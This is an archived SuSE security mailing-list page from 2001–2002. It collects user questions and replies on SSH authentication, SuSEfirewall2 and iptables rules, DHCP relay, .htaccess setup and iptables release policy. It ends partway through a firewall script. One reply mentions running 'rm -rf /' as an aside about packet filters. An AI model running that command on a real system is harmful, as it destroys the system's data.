September 2001 - openSUSE Security - openSUSE Mailing Lists

SSH Authentication
by Joao Reis 18 Nov '02

18 Nov '02

Hi! I implemented a ssh conection from the outside to my intranet. This ssh requires a username and a password. In terms of security what is more secure: require authentication (username and password) or having the public key of each user that connects to our intranet in the authorized public key lists (in this case there is no need for username and password)? In the second case there is no need of authentication and only the users wich have the public keys in the list are allowed to enter in my intranet. This second solution is a good solution or that brings other security problems ? Thanks. -- Farewell. "Keep your friends close, but your enemies closer." "Do or do not. There is no try" - Yoda João Reis -------------------------------------------------------

2 1

VPN masquerading
by Joost van der Lugt 06 May '02

06 May '02

Hi all, I am trying to set up VPN masquerading, for a Windows box, and just wondered if there was an easy way to do this, using just the firewall.rc.config script, or do both that plus the custom config script have to be used? I have seen the VPN how-to, however just wondered about a how to aply this with SuSE's scripts. Thanks for any suggestions, (PS if there is someone familiar with setting upo VPN on the SuSe box itself, I would be very interested as well..., of course) - Cheers, Joost

4 4

SuSEfirewall2 and DHCP relay
by Pablo A. Maurin 01 Nov '01

01 Nov '01

Hello everyone. I am currently using SuSEfirewall2 with the following configuration. FW_DEV_EXT="eth0" FW_DEV_INT="eth1 eth2" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" FW_MASQ_NETS="192.168.0.0/24 192.168.254.0/24" FW_PROTECT_FROM_INTERNAL="yes" FW_AUTOPROTECT_SERVICES="yes" FW_SERVICES_EXT_TCP="ssh" FW_SERVICES_EXT_UDP="" FW_SERVICES_EXT_IP="" FW_SERVICES_INT_TCP="ssh" FW_SERVICES_INT_UDP="" FW_SERVICES_INT_IP="" FW_TRUSTED_NETS="" FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" FW_SERVICE_AUTODETECT="yes" FW_SERVICE_DNS="no" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="no" FW_SERVICE_SAMBA="no" FW_FORWARD="" FW_FORWARD_MASQ="" FW_REDIRECT="" FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="no" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" FW_KERNEL_SECURITY="yes" FW_STOP_KEEP_ROUTING_STATE="no" FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="no" FW_ALLOW_FW_TRACEROUTE="yes" FW_ALLOW_FW_SOURCEQUENCH="yes" FW_ALLOW_FW_BROADCAST="no" FW_IGNORE_FW_BROADCAST="yes" FW_ALLOW_CLASS_ROUTING="yes" I have a firewall with 3 interfaces. eth0 is outside,public. eth1 is one local subnet (192.168.0/24), private. eth2 is a second internal private subnet(192.168.254/24). I have routing setup beween both subnets and I am able to ping across the firewall/router from one subnet to the other. Currently I have a DHCP server installed in the 192.168.0/24 subnet. Address 192.168.0.2. On the firewall I installed the DHCP realy package from the suse 7.2 CD It listenes on eth2 and forwards all request to 192.168.0.2 (the DHCP server). when I check the dhcp server logs I see that it is creating a lease for the new host on eth2 of the firewall. However the host is not receiving the address. I sure that it is a small misconfiguration on the firewall, but I cannot figure out what it is. Any help is greatly appreciated. If you need more information just e-mail me and I will try to get it. Thanks is advance, Pablo A. Maurin

2 1

patching SuSE
by Matthew Dalton 01 Oct '01

01 Oct '01

Please forgive the newbie question -- is there an easy way to patch Suse (7.1) all at once? The only way that I can see from the web-site is to download each patch individually. Thanks for helping! -- Matthew Dalton

4 4

IRC DCC stuff from behind a susefirewall2 NAT router
by Admin 01 Oct '01

01 Oct '01

Hi, see subject, any hints? neither inbound nor outbound dcc works... And as I am botmaster on some IRC bots I REALLY need DCC Chat :( bye M.Homann -- Die unaufgeforderte Zusendung einer Werbemail an Privatleute verstіпt gegen §1 UWG und §823 I BGB (Beschluп des LG Berlin vom 2.8.1998 Az: 16 O 201/98). Jede kommerzielle Nutzung der ќbermittelten persіnlichen Daten sowie deren Weitergabe an Dritte ist ausdrќcklich untersagt!

4 4

squid: timeout in SENT_PASV state
by Philipp Snizek 29 Sep '01

29 Sep '01

Hi all, please can somebody tell me what to do against this. Is this a ftp server that is not accepting pasv ftp? Or is it a misconfigured squid? Sep 29 21:23:54 gate squid[406]: ftpTimeout: timeout in SENT_PASV state Sep 29 21:24:18 gate squid[406]: ftpTimeout: timeout in SENT_PASV state Sep 29 21:24:41 gate squid[406]: ftpTimeout: timeout in SENT_PASV state Sep 29 21:29:03 gate squid[406]: ftpTimeout: timeout in SENT_PASV state Thank you all, Philipp

1 0

still battlecom with linuxserver
by Johannes Schäffner 28 Sep '01

28 Sep '01

ok, i have typed this: ipmasqadm autofw -A -v -r udp 2300 2400 -h 192.168.0.2 (client-ip) ipmasqadm autofw -A -v -r tcp 2300 2400 -h 192.168.0.2 ipmasqadm autofw -A -v -r tcp 47624 47624 -h 192.168.0.2 ipmasqadm autofw -A -v -r udp 47624 47624 -h 192.168.0.2 ipmasqadm autofw -A -v -r udp 28800 28900 -h 192.168.0.2 but it still don´t work. he always prints this at hte screen: Adding autofwd udp ports 2300 - 2400 to fixed host 192.168.0.2 U autofw: setsockopt failed: Protocol not available Adding autofwd tcp ports 2300 - 2400 to fixed host 192.168.0.2 U autofw: setsockopt failed: Protocol not available Adding autofwd tcp ports 47624 - 47624 to fixed host 192.168.0.2 U autofw: setsockopt failed: Protocol not available Adding autofwd udp ports 47624 - 47624 to fixed host 192.168.0.2 U autofw: setsockopt failed: Protocol not available Adding autofwd udp ports 28800 - 28900 to fixed host 192.168.0.2 U autofw: setsockopt failed: Protocol not available what do i have to change?? -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

2 1

Virus scanner to detect macintosh viruses?
by Thorsten Marquardt 28 Sep '01

28 Sep '01

Hello, I like to know wether there is a linux virusscanner which detects virus for (better against) apple macintosh. Yours sincerly Thom -- ------------------------------------------------------------------- bye bye (c) by Thom | Thorsten Marquardt | EMail: THOM(a)kaupp.chemie.uni-oldenburg.de | Member of the pzt project. | http://kaupp.chemie.uni-oldenburg.de/pzt -------------------------------------------------------------------

2 1

Re: [suse-security] qmail.rpm ... -> courier imap -> virus scanners
by Martin Schichl 28 Sep '01

28 Sep '01

Hi! I've followed the discussion about qmail ... We are running qmail now for a couple of years without any problems (about 250 Mailclients in 50 different virtual domains) But let me get the discussion into a little bit other direction ... >There is no problem. I ran qmail-pop3d off Maildirs for several months, >until I dropped it and switched to courier-imap. On 6.3, procmail is >probably not yet aware of Maildir. 1.) I think of switching some of my users from pop3 to imap ... Matthias you wrote about courier-imap ... My questions: - any experience with imap on qmail? - do I have to switch the whole thing to imap, or can I run pop3 and imap parallel? - what's about security with imap? (ok ... I know pop3 does not have any either) - are there different distributions of imap servers? (which one fits into qmail with vchkpw) 2.) Another theme is about virus scanners in mailer daemons. I've read an article about virus scanners which can be implemented directly into the postfix system ... Any experience with virus scanners for qmail? OK, I think this is enough for today ... Martin ----------------------------------------------------------------- Dipl.-Ing. Martin Schichl SC&C Software, Communication & Consulting GmbH & Co KEG Grottenhofstr. 3, A-8053 Graz Tel. +43/(0)316/265-205, Fax +43/(0)316/265-234 mschichl(a)scc.co.at, http://scc.co.at

8 8

Re: [suse-security] Bastille and other Linux distros
by michael.ryan＠storm.ie 28 Sep '01

28 Sep '01

IMHO any tool/script which offers SuSE users another choice when armouring their system would naturally be welcome :) Regards, Michael "Niki Rahimi" <narahimi@us. To: suse-security(a)suse.com ibm.com> cc: Subject: [suse-security] Bastille and other Linux distros 09/27/2001 05:57 PM Hi Everyone, I work with a security group in IBM's Linux Technology Center and have recently been working on a project to get the Bastille security hardening script to run on SuSE. I would like to get feedback from the discussion list on this project. Would this be something the SuSE community would be receptive to? In case you're not familiar with Bastille, their web site is at www.bastille-linux.org. If you have any further questions about this, please let me know. Thanks, Niki A. Rahimi narahimi(a)us.ibm.com -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

3 2

AW: [suse-security] Can't seem to get .htpasswd to work =(
by Battisti Markus 28 Sep '01

28 Sep '01

> > Bah! For the life of me, I can not get .htpasswd/.htaccess > to work on my > SuSE7.2 ( Apache/1.3.19 (Unix) (SuSE/Linux) mod_layout/1.0 > mod_throttle/3.0 > mod_fastcgi/2.2.2 mod_ssl/2.8.3 OpenSSL/0.9.6a mod_perl/1.25 mod_dtcl > PHP/4.0.5 ). > > I have everything (that I know to set up, anyway) set up as: > you tried this one ? http://sdb.suse.de/en/sdb/html/htaccess72.html that could help maybe ,,, /'^'\ ( o o ) oOOO--(_)--OOOo---------------------- Mit Freundlichen Grüssen/Best Regards Battisti Markus

2 1

Can't seem to get .htpasswd to work =(
by Fluffy Bananachunks 28 Sep '01

28 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bah! For the life of me, I can not get .htpasswd/.htaccess to work on my SuSE7.2 ( Apache/1.3.19 (Unix) (SuSE/Linux) mod_layout/1.0 mod_throttle/3.0 mod_fastcgi/2.2.2 mod_ssl/2.8.3 OpenSSL/0.9.6a mod_perl/1.25 mod_dtcl PHP/4.0.5 ). I have everything (that I know to set up, anyway) set up as: ########################################################### me@me:~/public_html - -rw-r--r-- 1 me me 209 Sep 27 21:27 .htaccess - -rw-r--r-- 1 me me 13 Sep 27 21:28 /home/me/.htgroup - -rw-r--r-- 1 me me 20 Sep 27 21:32 /home/me/.htpasswd /home/me/public_html/.htaccess: AuthName "Restricted" AuthType Basic AuthUserFile /home/me/.htpasswd AuthGroupFile /home/me/.htgroup <Limit GET POST> Require group chunks </Limit> /home/me/.htpasswd: test:VJdx0yi1Y3LKc {blank line as suggested on one site; also tried without} /home/me/.htgroup: chunks: test ############################################################ I've tried by group, user, "valid-user", with and without "Limit" in .htaccess, with and without a group (left off and /dev/null) .... The 'password box' always comes up, but no matter what, does not authorize me. Anyone have any insight as to what I'm skipping or missing here? TIA Geo -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7s9t5o2oOGEnz8fYRAkFeAJ9eP/osgicxUvmQ3TxgUzDA2QeSVgCcC8yU voBtQ9LRKLAqPF17kJeskrA= =dGgz -----END PGP SIGNATURE-----

2 1

Are firewalls necessary?
by Ray Dillinger 28 Sep '01

28 Sep '01

I have a machine, which serves several purposes. It is my main development platform, and it is also my main webserver. I've gone through the system and shut down all network services I'm not using -- for example squid came down, because I am not using proxy service at all, and ftpd came down because I don't want to provide ftp services. Rlogin, fingerd, telnetd, hylafax, etc, are also gone. No trusted hosts are defined for rlogin and friends to use anyway; the other boxes on my network are not considered "safe". I'm using an apache server which I've been through extensive configuration on -- removing most of the modules because I wasn't using them. CGI is still there, but it's not activated on any host except the "default" host (which is only accessible from 127.0.0.1) and there are only two CGI scripts; These are the english-language "search" scripts that hunt through the documentation for keywords and topics, used by the SuSE help system, which I've kept onboard -- both of which I've audited for security. There were similar scripts to search in other languages, but since I'm not using other languages, they are gone now. Finally, the 'su' binary is moved to sbin, and not available to any user except root. I keep copies of my websites offline, on floppy disks. Ditto my inetd.conf, httpd.conf, and a few other configuration files. and, finally, my source code -- so if the machine ever gets subverted, I can restore them easily. Now, here is my question: Do I get material additional security from my firewall, or does over-the-top paranoia on the other aspects of the config obviate the need for it? Bear

9 13

AW: [suse-security] Can't seem to get .htpasswd to work =(
by Thomas Lamy 28 Sep '01

28 Sep '01

Make sure you have something like <Directory /home/*/public_html> AllowOverride AuthConfig ..... </Directory> in your httpd.conf, otherwise .htaccess files get ignored. Thomas -----Ursprüngliche Nachricht----- Von: Fluffy Bananachunks [mailto:suse.announce@bananachunks.org] Gesendet: Freitag, 28. September 2001 04:08 An: suse-security(a)suse.com Betreff: [suse-security] Can't seem to get .htpasswd to work =( -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bah! For the life of me, I can not get .htpasswd/.htaccess to work on my SuSE7.2 ( Apache/1.3.19 (Unix) (SuSE/Linux) mod_layout/1.0 mod_throttle/3.0 mod_fastcgi/2.2.2 mod_ssl/2.8.3 OpenSSL/0.9.6a mod_perl/1.25 mod_dtcl PHP/4.0.5 ). I have everything (that I know to set up, anyway) set up as: ########################################################### me@me:~/public_html - -rw-r--r-- 1 me me 209 Sep 27 21:27 .htaccess - -rw-r--r-- 1 me me 13 Sep 27 21:28 /home/me/.htgroup - -rw-r--r-- 1 me me 20 Sep 27 21:32 /home/me/.htpasswd /home/me/public_html/.htaccess: AuthName "Restricted" AuthType Basic AuthUserFile /home/me/.htpasswd AuthGroupFile /home/me/.htgroup <Limit GET POST> Require group chunks </Limit> /home/me/.htpasswd: test:VJdx0yi1Y3LKc {blank line as suggested on one site; also tried without} /home/me/.htgroup: chunks: test ############################################################ I've tried by group, user, "valid-user", with and without "Limit" in .htaccess, with and without a group (left off and /dev/null) .... The 'password box' always comes up, but no matter what, does not authorize me. Anyone have any insight as to what I'm skipping or missing here? TIA Geo -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7s9t5o2oOGEnz8fYRAkFeAJ9eP/osgicxUvmQ3TxgUzDA2QeSVgCcC8yU voBtQ9LRKLAqPF17kJeskrA= =dGgz -----END PGP SIGNATURE----- -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

Re: [suse-security] iptables update ?
by Stefan_Walther＠gehag-dsk.de 28 Sep '01

28 Sep '01

Hi, it not only the rpm-archive. Sometimes I think the poeple are to lazy (I also don't want to point at anybody) to compile the packets. If they want the newest packets and dists they have o compile it or have to wait. I know it, because I am sometimes the same. MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 Roman Drahtmüller wrote: > [Some very good points about code maturity and Linux distributions] Hear, hear. I think it is important that many people who cry out loudly for the latest updates to be integrated in their favourite Linux distribution ASAP (or even go for "c'mon, the fix has been out for two days already, where's the RPM archive?") keep in mind that: - Newer ist not better by default. - Being up-to-date can also be defined as using a stable, if older, version of a product, so that the servers just do their job. - Everybody is free to invest her/his own time and resources on having installed the newest software. It is available for free on the Internet, as Roman pointed out. I have no intention to appear aggressive, and I don't point my finger at anybody. Besides, my colleagues know me for chasing the newest, hottest stuff myself, so I understand the motivation. I only want to express my thanks for the great work the people at SuSE, RedHat and other companies accomplish together with the Open Source community, and I ask all users for some patience on behalf of software developers everywhere... ;-) Mit freundlichen Grüssen / Regards Dipl. Inform. Ralph Seichter ISC Informatik Service & Consulting GmbH Tel +49 2241 867-0 mailto:r.seichter@isc-inf.com Fax +49 2241 867-222 http://www.isc-inf.com/ -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Recommended cookie suppression extension for Squid?
by Ralph Seichter 28 Sep '01

28 Sep '01

[This is a repost] I have used WebWasher for cookie suppression for quite some time now, and I think it is a great product. Alas, I want to try Squid as a combined filter/cache, so I am looking for a similar feature to handle cookies based on flexible rules. Internet searches returned Squid extensions like "adzap" ( http://www.zip.com.au/~cs/adzap/ ). What tool do *you* prefer for Squid cookie suppression? BTW, I consider this security related because I don't like the idea of being watched and measured by a trail of cookies, but if there's a different mailing list you suggest for this kind of topic, please point me to it. Thank you. Mit freundlichen Grüssen / Regards Dipl. Inform. Ralph Seichter ISC Informatik Service & Consulting GmbH Tel +49 2241 867-0 mailto:r.seichter@isc-inf.com Fax +49 2241 867-222 http://www.isc-inf.com/

1 0

Re: [suse-security] iptables update ?
by Ralph Seichter 28 Sep '01

28 Sep '01

Roman Drahtmüller wrote: > [Some very good points about code maturity and Linux distributions] Hear, hear. I think it is important that many people who cry out loudly for the latest updates to be integrated in their favourite Linux distribution ASAP (or even go for "c'mon, the fix has been out for two days already, where's the RPM archive?") keep in mind that: - Newer ist not better by default. - Being up-to-date can also be defined as using a stable, if older, version of a product, so that the servers just do their job. - Everybody is free to invest her/his own time and resources on having installed the newest software. It is available for free on the Internet, as Roman pointed out. I have no intention to appear aggressive, and I don't point my finger at anybody. Besides, my colleagues know me for chasing the newest, hottest stuff myself, so I understand the motivation. I only want to express my thanks for the great work the people at SuSE, RedHat and other companies accomplish together with the Open Source community, and I ask all users for some patience on behalf of software developers everywhere... ;-) Mit freundlichen Grüssen / Regards Dipl. Inform. Ralph Seichter ISC Informatik Service & Consulting GmbH Tel +49 2241 867-0 mailto:r.seichter@isc-inf.com Fax +49 2241 867-222 http://www.isc-inf.com/

1 0

battlecom with linuxserver
by Johannes Schäffner 28 Sep '01

28 Sep '01

i have counterstrike and battlecom installed on my win98 client.at the linux-server i have ipchains installed, so at the client counterstrike (and also icq,mirc etc.) works without any problems. but i can´t join or host any battlecom sessions. what do i have to change that battlecom works ( every port is open at ipchains) please help me!!! -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

3 2

SuSEfirewall2 question regarding FW_FORWARD_MASQ
by Magnus Hagebris 28 Sep '01

28 Sep '01

I have a setup that requires external machines to access an application on an internal machine (masqueraded) when using a specific protocol. A packet sent to the firewall (IP and protocol 200) should be redirected to the internal machine 192.168.0.40. Using tcp or udp instead of protocol 200 would work, but why does not other protocols work??? I'm using... FW_DEV_EXT="eth0" FW_DEV_INT="eth1" FW_ROUTE="yes" FW_MASQUERADE="yes" FW_MASQ_NETS="192.168.0.0/24" FW_FORWARD_MASQ="0/0,192.168.0.40,200" If I can't forward other protocols than udp/tcp can I solve this setup in a different way??? I mean instead of installing Solaris, since that OS allows you to forward other protocols (I heard...). Thanks, Magnus

1 0

Swappartition max size
by Thomas Michael Wanka 28 Sep '01

28 Sep '01

Hi, sorry if this is not strictly security related, but it resulted from a (possible) security problem (server was trashed by an intruder or at least from the outside - that has to be investigated). The current max. swap partition can be 2GB. What is recommended to do when more ram is installed to hold the core dump? Enough partitions to meet the actual ram size? A link to where to search is enough. TIA mike

2 2

Re: [suse-security] battlecom with linuxserver
by James Bliss 27 Sep '01

27 Sep '01

Do you have any entries in your firewall log which would possibly help in diagnosing this problem? Also, could you possibly post your ipchains rules (over write any personal IP info with something like <my box> or <my internal network>). This would really help everyone on the list help you. 09/27/01 04:49:25 PM, Johannes Schäffner <34773(a)gmx.de> wrote: >i have counterstrike and battlecom installed on my win98 client.at the >linux-server i have ipchains installed, so at the client counterstrike (and also >icq,mirc etc.) works without any problems. but i can´t join or host any >battlecom sessions. >what do i have to change that battlecom works ( every port is open at >ipchains) >please help me!!! > >-- >GMX - Die Kommunikationsplattform im Internet. >http://www.gmx.net > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

Re: [suse-security] iptables update ?
by James Bliss 27 Sep '01

27 Sep '01

Thank you Roman, I believe that you make several good points in your email. I have only been on SuSE for 6 months now. Started with 7.0, went to 7.1 and then 7.2. Bought the CDs everytime because the cost was much less than the time it would take me to download the software. I think that SuSE is a much better distro than Redhat, and have recommended it to several of my friends. Keep up the good work. If someone thinks that a newer software release is valuable to be installed on their box before it is available through SuSE they should download it from the origination site and therefore be responsible for any quirks which may be caused by doing this. Keep up the good work SuSE. And thank you very much for these mailing lists, some of the best support available for free or money. Jim 09/27/01 04:38:27 PM, Roman Drahtmueller <draht(a)suse.de> wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >> Hi, >> >> Finally I decided to start learning iptables hence installed the 2.4.7 >> kernel along with the iptables. The version comes on 7.2 is 1.2.1a (yes >> the kernel is also 2.4.4) should not be there an offical update to >> iptables out of curiosity ? > > >(This mail has become somewhat lengthy, but I wanted to write down some >thoughts on closely related topics that arise when I give the answer for >this question. Everything that has nothing to do with the actual question >above on this thread is written below the line "########", and it does not >contribute to the half-technical question. I do not wish that there will >be a discussion about the issues below on this list because it would >generate an off-topic lengthy thread. It's just that some of the things >below need to be said every once in a while in order to prevent >misunderstandings from distorting the aspects and benefits of open source >software.) > >The answer: >Not quite: The iptables utility is only the setup tool, it can't easily >be a security problem without messing up the rules during setup (You'd >easily notice! :-). The actual work of the packet filter engine happens >in the kernel, not in the ipchains utility. If your machine acts as a >packet filter only, you can easily kill all running processes and run >"rm -rf /" over it - it will continue to work until you try to reboot it. > >By consequence, the newer version fixes bugs that may be nasty in some >way, but there are none that were security-related. The version of >iptables that is on the CDs is installed on a few dozen thousand >installations, and in use one some thousands, I guess. A new version is >always different from the one before (this is why there is a new version >in the first place): different functionality and different bugs as well. >We cannot guarantee that the newer version works exatly like the one >before, which is why we don't provide a newer version of the package (with >iptables being just a simple example). > >Please look at the changelogs of single packages in the distribution, >especially the core packages and libraries, and look at the patches that >we include to fix bugs that we found during testing. In order to be taken >seriously in the operating systems market, you have to be able to maintain >a certain level of quality in your software. You make a tradeoff between >the up-to-dateness (and security) and the reliability (and security) of >your software. This implies that the functionality of a single package >must be guaranteed over the updates. By consequence, the version stays the >same: only those bugs are fixed that break the functionality of the >package or impose a security risk. If your favourite email program crashes >if you hit five keys together, then do not hit these five keys together. >If it crashes when a strange email arrives, it may be security related: >Write to security(a)suse.de, and use the pgp key to encrypt your text. New >versions in update packages can only happen if the new version number is >beneficial from the security standpoint, and if no other package >relies/depends on the package to be updated. >(Example: openssh. A user should be able to tell by the version number >that the recently discovered security bugs are fixed.) > > >################## > >There is a specific set of reasons why we make a new distribution every >once in a while (with a decreasing frequency): The opensource community >needs to have a new base to build on (a distribution sets standards that >are most important for the thing as a whole), and new features are desired >on behalf of the usership. Free software is for free: You can download it >from servers worldwide. But I wouldn't want someone else to do the job >that we've accomplished with each distribution (7.3 is out in a few days): >many thousands of hours of CPU-time have been used for compilation of code >and for stresstests, many hundreds of CDs have been burned, network >equipment and computer hardware has been bought just to test the software, >and many millions of keys have been hit, not to mention the thousands of >hours in long nights that developers at SuSE and the rest of the world >have sat down to track down crashes, add improvements to performance, >stability and security, provide a nicer, ergonomic interface and make it >what it is: A secure, powerful, flexible and stable operating system, >ready to use. It is what people expect from it (while everybody expects >something different). > > If you want to give yourself a nice lesson: Play distributor! Install a >SuSE-6.1, just a minimal package selection, then put away the CDs. Then, >get KDE-2.2.1 running on it, with a few dozen applications that do all >kinds of things from showing the time down to burning CDs and sending >mails. Compile from the source tarball, not SuSE source rpms. Modularize >the software that you have installed and keep an overview over it. Add >icons, G/X, eye candy, sounds so that you like it more. Check it for bugs, >identify crashes and find security problems. Deal with buggy hardware and >BIOSes. Ensure consistency of the ready-to-install packages that you >built. Make it possible to exchange parts of the system at full >consistency. Communicate the bugs that you've found to the maintainers and >authors of the software that you use (quite some people, many emails!). > After you have found out that you need to exchange basically everything >in your minimal system in order to be able to even compile the new stuff >(not to mention running or testing!), you can abbreviate to a minimal >SuSE-7.2 installation and restart from the beginning. After a few weeks >without much fun you will find out that kdm behaves strangely under some >obscure, but usual circumstances; watch out for race conditions and buffer >overflows while you nail down the reason why all of your processes get >nuked by SIGTERM sometimes. > If you're there, invest some time to sit down with others and argue the >technical reasons why you (lazily) added your docs to /opt/kde/docs >instead of /usr/share/doc. Be sure to have a comprehensive result >afterwards, so that your distribution follows the defined standards (SuSE >is leading in terms of that). Then you change what doesn't match the >standards, and recompile everything. Don't forget to write down how to use >it for your grandma and your kids. > >SuSE employs the best people that the world has for many of the subsystems >that a SuSE Linux distribution is built on. They are paid for doing their >job and for refining the software they wrote to a thing that you can use. >The software is still for free, the patches are for free (the distributors >even share their additions), but the fact that you can easily install and >use it is not! > Provided you earn only Euro 2.50 an hour, you couldn't make it in time to >be faster than 100 times the price of a Linux distribution (a SuSE in >particular). If you buy all the software that is on the (filled up to the >last byte) SuSE CDs from a commercial vendor, expect a bill of a few >hundred thousand Euro. I've never ever paid a single buck for software, >but if I didn't (proudly) work for SuSE, I'd pay significantly more. I >would want new versions of single software packages every few months, but >as you might know we're not forced to buy it either. It's just easier and >less expensive. > >The price of a Linux distribution does not compare to the price of >commercial software, but to the price your own time and your freedom. > >Thanks, >Roman. >- -- > - - >| Roman Drahtmüller <draht(a)suse.de> // "You don't need eyes to see, | > SuSE GmbH - Security Phone: // you need vision!" >| Nürnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | > - - >Feel free to pass on this text, provided that it is complete and unchanged! >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: http://www.suse.de/ > >iEYEARECAAYFAjuznF0ACgkQnkDjEAAKq6ThdQCgylOJsQtBgVLgHNSzayO2YIn3 >oIcAn2CM6fOoDfL2z3MmKYcU9Vxdbmci >=phZY >-----END PGP SIGNATURE----- > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

iptables update ?
by Togan Muftuoglu 27 Sep '01

27 Sep '01

Hi, Finally I decided to start learning iptables hence installed the 2.4.7 kernel along with the iptables. The version comes on 7.2 is 1.2.1a (yes the kernel is also 2.4.4) should not be there an offical update to iptables out of curiosity ? -- Togan Muftuoglu

4 3

Re: [suse-security] Bastille and other Linux distros
by Christopher Mahmood 27 Sep '01

27 Sep '01

* Niki Rahimi (narahimi(a)us.ibm.com) [010927 10:23]: > I work with a security group in IBM's Linux Technology Center and have > recently been working on a project to get the Bastille security hardening > script to run on SuSE. I would like to get feedback from the discussion > list on this project. Would this be something the SuSE community would be > receptive to? I haven't looked at Bastille in a while, but I don't remember it doing much more than what the tools our security team has developed. Specifically, the harden-suse script, the SuSEfirewall, and seccheck. I'm not flaming, I'm genuinely curious. -- -ckm

1 0

Re: Bastille and other Linux distros
by Richard Ibbotson 27 Sep '01

27 Sep '01

Niki > I work with a security group in IBM's Linux Technology Center > and have recently been working on a project to get the Bastille > security hardening script to run on SuSE. I would like to get > feedback from the discussion list on this project. Would this be > something the SuSE community would be receptive to? There's already a harden_suse.rpm that does something similar. If you want to know more write to the SuSE Security team. How about on Debian ? Thanks Richard www.sheflug.co.uk

1 0

Bastille and other Linux distros
by Niki Rahimi 27 Sep '01

27 Sep '01

Hi Everyone, I work with a security group in IBM's Linux Technology Center and have recently been working on a project to get the Bastille security hardening script to run on SuSE. I would like to get feedback from the discussion list on this project. Would this be something the SuSE community would be receptive to? In case you're not familiar with Bastille, their web site is at www.bastille-linux.org. If you have any further questions about this, please let me know. Thanks, Niki A. Rahimi narahimi(a)us.ibm.com

1 0

my configuration - ftp is not working
by Roger Rossell 27 Sep '01

27 Sep '01

Here is my configuration script. Ftp clients from my lan (specified in table "ids") can not retreive file lists from ftp servers can you help me please??? # FIREWALL DE IDS # echo "***** Ejecutando Firewall... ********************" # CARGA DE MODULOS modprobe ip_tables modprobe ip_conntrack modprobe ip_conntrack_ftp modprobe iptable_nat # variables LAN_IDS="172.16.0.0/255.255.0.0" LAN_DMZ="192.168.0.0/255.255.255.0" ANYIP="0/0" IP_LAN="172.16.100.100" IP_PUB="217.149.0.xx0" IP_DMZ="192.168.0.1" INT_LAN="eth0" INT_PUB="eth1" INT_DMZ="eth2" UNPRIVPORTS="1024:65535" #ortografia: DMZWEB_num-servidor_num-ip-virtual DMZWEB_0_0="192.168.0.100" DMZWEB_0_1="192.168.0.101" DMZWEB_1_0="192.168.0.200" PUBLIC_DMZWEB_0_0="217.149.0.xx1" PUBLIC_DMZWEB_0_1="217.149.0.xx2" PUBLIC_DMZWEB_1_0="217.149.0.xx5" DNS1="217.149.0.10" DNS2="217.149.0.11" # Añadir ip's publicas virtuales ip address add $PUBLIC_DMZWEB_0_0 dev $INT_PUB ip address add $PUBLIC_DMZWEB_0_1 dev $INT_PUB ip address add $PUBLIC_DMZWEB_1_0 dev $INT_PUB # CLEAR IPTABLES iptables -F iptables -X iptables -Z iptables -t nat -F # aciva el proxy arp para la dmz y para la lan #echo 1 > /proc/sys/net/ipv4/conf/eth2/proxy_arp #echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp # activa el forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # proteccion anti spoofing for f in /proc/sys/net/ipv4/conf/*/rp_filter; do echo 1 > $f; done #*/# #proteccion TCP SYN Cookie echo 1 > /proc/sys/net/ipv4/tcp_syncookies #activa el always defrag #echo 1 > /proc/sys/net/ipv4/ip_always_defrag #proteccion echo broadcast #echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_bogus_error_broadcasts #desactiva aceptacion de redireccon icmp for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do echo 0 > $f done #*/# #deshabilita los paquetes SRP (Source Route) for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do echo 0 > $f done #*/# #registra los spoofed packets, source routed packets, redirect packets for f in /proc/sys/net/ipv4/conf/*/log_martians; do echo 1 > $f done #*/# # Politica por defecto echo "Configurando políticas por defecto" iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP # Crear nuevas tablas echo "Creando nuevas tablas" iptables -N dmz iptables -N ids iptables -N loopback #iptables -N lan_dmz echo "Relacionando nuevas tablas" iptables -A FORWARD -s $ANYIP -d $LAN_DMZ -j dmz iptables -A FORWARD -s $LAN_DMZ -j dmz iptables -A FORWARD -s $LAN_IDS -d $ANYIP -j ids iptables -A FORWARD -s $ANYIP -d $LAN_IDS -j ids iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j loopback iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j loopback #iptables -A lan_dmz -j ACCEPT #iptables -A lan_dmz -j LOG --log-prefix "#lan-dmz##" # Logs generales echo "Activando logs" #iptables -A INPUT -j LOG --log-prefix "##IN## " #iptables -A OUTPUT -j LOG --log-prefix "##OUT## 